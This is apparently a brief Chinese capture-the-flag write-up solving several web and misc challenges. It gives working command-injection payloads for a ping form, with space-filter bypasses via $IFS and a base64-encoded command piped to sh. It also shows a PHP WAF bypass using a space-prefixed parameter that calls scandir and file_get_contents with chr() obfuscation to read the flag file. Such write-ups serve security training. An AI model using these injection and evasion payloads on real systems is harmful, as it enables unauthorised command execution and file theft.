拿到题目后根据提示随便ping一下看一下文件信息 我们直接试着抓一下flag /?ip=127.0.0.1|cat flag 应该是过滤了一些字符,过滤空格我们可以用一下方式代替
$IFS ${IFS} $IFS$1 //$1改成$加其他数字貌似都行 < <> {cat,flag.php} //用逗号实现了空格功能看一下index.php 过滤了很多东西但是没过滤sh
?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh拿到flag
F12 提示上了waf并在calc.php中显示waf规则 php的解析规则,当php进行解析的时候,如果变量前面有空格,会去掉前面的空格再解析,那么我们就可以利用这个特点绕过waf。
如果waf不允许传递num变量,我们在前面加一个空格,我们的变量就不是“num”而是“ num”,但是在php解析的时候会把空格解析掉,这样我们的代码可以正常运行还上传了非法字符 首先我们要先扫根目录下的所有文件
? num=1;var_dump(scandir(chr(47)))找到flag文件位置 读取即可
calc.php? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))根据提示下载备份文件 /index.php.bak 读代码发现是php弱类型比较 get key=123即可
逐帧查看gif即可
扫描二维码并没有得到flag,更改后缀为zip暴力破解四位密码即可